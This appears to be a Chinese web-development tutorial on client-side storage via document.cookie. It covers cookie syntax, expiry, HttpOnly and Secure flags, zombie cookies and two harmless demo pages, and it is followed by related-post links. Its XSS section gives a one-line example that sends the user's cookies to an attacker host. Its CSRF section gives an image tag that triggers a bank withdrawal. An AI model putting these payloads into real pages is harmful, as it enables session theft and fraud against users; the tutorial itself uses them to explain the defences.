概述

前篇:web API简介(一):API,Ajax和Fetch

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

Cookie介绍

cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。

cookies只有一个优点,就是它和老式的浏览器很兼容。0.0

Set Cookie

Set-Cookie: <cookie-name>=<cookie-value>

语法

//newCookie = "key=value"
document.cookie = newCookie;

还可以在后面添加这些信息:

(1)";path=path"

(2)";domain=domain"

(3)";max-age=max-age-in-seconds"

(4)";expires=date-in-GMTString-format"

Cookie的时效

如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

HttpOnly cookies

为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Xss和CSRF

XSS = cross-site scripting;CSRF = Cross-site request forgery。

下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Zombie cookies

Zombie cookies = Evercookies。

这类cookies在被删除后会立刻重新建立,所以很难被删除。

相关方面的资料:Evercookie by Samy KamkarZombie cookies on Wikipedia

cookie操作实例

下面的代码拿到一个叫test2的cookie。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
</script>
</head>
<body>
<button onclick="alertCookieValue()">显示cookie</button>
<div id="show_cookie"></div>
</body>
</html>

Document
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";

    var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

    function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
&lt;/script>

显示cookie

下面的代码使事情只做一次。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>
</head>
<body>
<button id="do_once" onclick="doOnce()">Only do something once</button>
<button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>

Document
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>

Only do something once
Reset only once cookie

web API简介(二):客户端储存之document.cookie API的更多相关文章

  1. web API简介(三):客户端储存之Web Storage API

    概述 前篇:web API简介(二):客户端储存之document.cookie API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. W ...

  2. SAP Web Service简介与配置方法

    [版权声明]本文为博主原创文章,转载请在明显位置注明出处. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 1. 通过RZ10配置服务器名称和其他参数 2. ...

  3. web API简介(四):客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. web API简介(一):API,Ajax和Fetch

    概述 今天逛MDN,无意中看到了web API简介,觉得挺有意思的,就认真读了一下. 下面是我在读的时候对感兴趣的东西的总结,供自己开发时参考,相信对其他人也有用. 什么是API API (Appli ...

  5. Redis总结(五)缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结(一)AutoResetEvent的使用介绍(用AutoResetEvent实现同步) C#总结(二)事件Event 介绍总结 C#总结(三)DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列(六): RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. API简介(二)

    API简介(二) API简介(一)一文中,介绍了使用API的目的.设计.发行政策以及公共API的含义,本篇主要介绍API的用法,从库和框架.操作系统.远程API.Web API四个方面展开. 库和框架 ...

  8. amazeui学习笔记二(进阶开发2)--Web组件简介Web Component

    amazeui学习笔记二(进阶开发2)--Web组件简介Web Component 一.总结 1.amaze ui:amaze ui是一个web 组件, 由模板(hbs).样式(LESS).交互(JS ...

  9. Web安全学习二

    目录 常见漏洞攻防 SQL注入 注入分类 按技巧分类 按获取数据的方式分类 注入检测 权限提升 数据库检测 绕过技巧 CheatSheet SQL Server Payload MySQL Paylo ...

随机推荐

  1. ansible 问题

    如下图,A服务器上用普通账号ansible有时就会报错,但有时却又正常,可以连接成功,用root账号执行ansible就完全没问题. 仅仅是这一台服务器有问题,其他都完全正常..ansible 文件删 ...

  2. springBoot拦截器的使用

    拦截器是动态拦截Action调用的对象.它提供了一种机制可以使开发者可以定义在一个action执行的前后执行的代码,也可以在一个action执行前阻止其执行.同时也是提供了一种可以提取action中可 ...

  3. es6入门set和map

    ES6提供了新的数据结构Set.它类似于数组,但是成员的值都是唯一的,没有重复的值. Set函数可以接受一个数组(或类似数组的对象)作为参数,用来初始化. var set = new Set([1, ...

  4. jieba分词/jieba-analysis(java版)

    简介 支持分词模式Search模式,用于对用户查询词分词Index模式,用于对索引文档分词特性支持多种分词模式全角统一转成半角用户词典功能conf 目录有整理的搜狗细胞词库因为性能原因,最新的快照版本 ...

  5. vue踩坑(一):打包上线

    找到config→index.js 然后找到index.js的buildassetsPublicPath  这个修改为你的项目放在服务器的路径 像我的项目是放在wap 文件夹下的 这些配置完成后然后 ...

  6. 求树的直径+并查集(bfs,dfs都可以)hdu4514

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4514 这题主要是叫我们求出树的直径,在求树的直径之前要先判断一下有没有环 树的直径指的就是一棵树上面距 ...

  7. xmlhttprequest 1.0和2.0的区别,from qq前端哥

    阮一峰好文:http://www.ruanyifeng.com/blog/2012/09/xmlhttprequest_level_2.html

  8. [Machine Learning][The Analytics Edge][Predicting Earnings from Census Data]

    census = read.csv("census.csv")library(caTools)set.seed(2000)spl = sample.split(census$ove ...

  9. SQL SERVER中LIKE在Char和nChar输出结果不一致解惑

    一同事在写脚本时,遇到一个关于LIKE里面使用不同的变量类型导致查询结果不一致的问题,因为这个问题被不同的人问过好几次,索性总结一下,免得每次都要解释一遍,直接丢一篇博客岂不是更方便!其实看似有点让人 ...

  10. Android 常用RGB值以及中英文名称

    Android 常用RGB值以及中英文名称   Android   常用 RGB值以及中英文名称     颜   色     RGB 值 英文名 中文名     #FFB6C1 LightPink 浅 ...